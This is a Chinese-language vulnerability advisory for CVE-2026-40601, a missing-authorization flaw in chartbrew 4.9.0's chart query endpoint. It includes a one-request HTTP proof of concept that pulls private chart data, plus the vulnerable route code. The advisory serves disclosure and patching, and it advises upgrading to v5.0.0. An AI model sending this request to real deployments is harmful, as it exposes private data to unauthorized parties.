# 漏洞总结:chartbrew 缺少授权访问 ## 漏洞概述 **漏洞名称**:Missing Authorization in /api/chart/:chart_id/query via team-level refresh toggle **CVE ID**:CVE-2026-40601 **CVSS 评分**:7.5 / 10 (High) **严重程度**:High **描述**: `chartbrew` 暴露了 `POST /api/chart/:chart_id/query` 接口且未进行身份验证。该接口仅检查 `team.allowReportRefresh` 标志,而未验证目标图表是否属于公开报告、项目是否公开或共享策略是否允许该操作。 **核心问题**: 路由获取图表、项目和团队后,仅基于团队级别的 `allowReportRefresh` 标志授权操作。它没有重用代码库中其他地方实现的公开报告访问检查。 ## 影响范围 * **受影响版本**:4.9.0 * **修复版本**:v5.0.0 * **攻击向量**:Network * **攻击复杂度**:Low * **影响**: * **机密性 (Confidentiality)**:High * **完整性 (Integrity)**:High * **可用性 (Availability)**:None **具体影响**: 未授权的攻击者如果知道图表标识符,可以触发数据刷新并检索私有图表的当前数据。攻击者可以获取私有图表的数据并强制按需刷新这些图表。这暴露了本应仅限于经过身份验证的项目成员的数据,并可能揭示受保护数据集的实时后端查询结果。 ## 修复方案 * **升级版本**:将 `chartbrew` 升级至 **v5.0.0** 或更高版本。 ## 漏洞利用代码 (PoC) **前置条件**: * 目标图表存在。 * 所属团队启用了 `allowReportRefresh`。 **PoC 代码**: ```http POST /api/chart/:id/query?optCache=False HTTP/1.1 Content-Type: application/json {"variables":{}} ``` **预期结果**: 服务器返回状态 `200` 以及目标图表对象,包括 `chartData`、`ChartDatasetConfigs` 和项目链接,即使底层项目不是公开的。 **核心漏洞代码路径**: `server/api/ChartsRoute.js` ```javascript app.post("/chart/:chart_id/query", apiLimiter(10), (req, res) => { return chartController.findById(req.params.chart_id) .then(async (chart) => { const project = await projectController.findById(chart.project_id); const team = await teamController.findById(project.team_id); if (!team.allowReportRefresh) throw new Error(401); return chartController.updateChartData(req.params.chart_id, null, { variables: req.body.variables, }); }); }); ``` `server/controllers/ChartController.js` ```javascript return chartController.updateChartData(...) .then((chart) => res.status(200).send(chart)); ```